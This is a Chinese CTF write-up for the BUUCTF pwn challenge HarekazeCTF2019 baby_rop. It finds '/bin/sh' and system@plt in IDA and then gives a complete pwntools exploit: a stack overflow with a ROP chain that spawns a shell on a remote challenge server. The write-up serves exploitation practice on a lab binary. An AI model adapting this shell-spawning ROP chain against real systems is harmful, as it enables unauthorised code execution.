你的位置:首页 > 信息动态 > 新闻中心
信息动态
联系我们

buuctf|pwn-[HarekazeCTF2019]baby_rop-wp

2021/11/8 20:50:18

1.例行检查

我们看到该文件开启了堆保护

2.我们用64位的IDA打开该文件 

按shift+f12查看关键字符串,我们看到“/bin/sh”这个关键字符串

 

 我们双击查看它的位置:0x0601048

3.我们去main函数里面看看

我们发现v4 = var_10,他的地址为:0x10

 

 

我们要拿到权限:system("/bin/sh")

所以我们要找到system地址:0x0400490

我们双击_system,system在plt表里面

 

 4.EXP

#encoding = utf-8
from pwn import * 

context(os = 'linux',arch = 'amd64',log_level = 'debug')
content = 0
elf = ELF('./babyrop')

def main():
	if content == 1:
		p = process('babyrop')
	else:
		p = remote('node4.buuoj.cn',26620)
	
	#.data:0000000000601048                 public binsh
	bin_addr     = 0x0601048
	#.plt:0000000000400490 _system
	system_addr  = 0x0400490
	#0x0000000000400683 : pop rdi ; ret
	pop_rdi_addr = 0x400683
	
	payload = b'a' * (0x10+0x8) + p64(pop_rdi_addr) + p64(bin_addr) + p64(system_addr)
	p.recvuntil("What's your name? ")
	p.sendline(payload)
	p.interactive()
main()

我们发现打通了,但是没有flag

flag地址在:/home/ babyrop/flag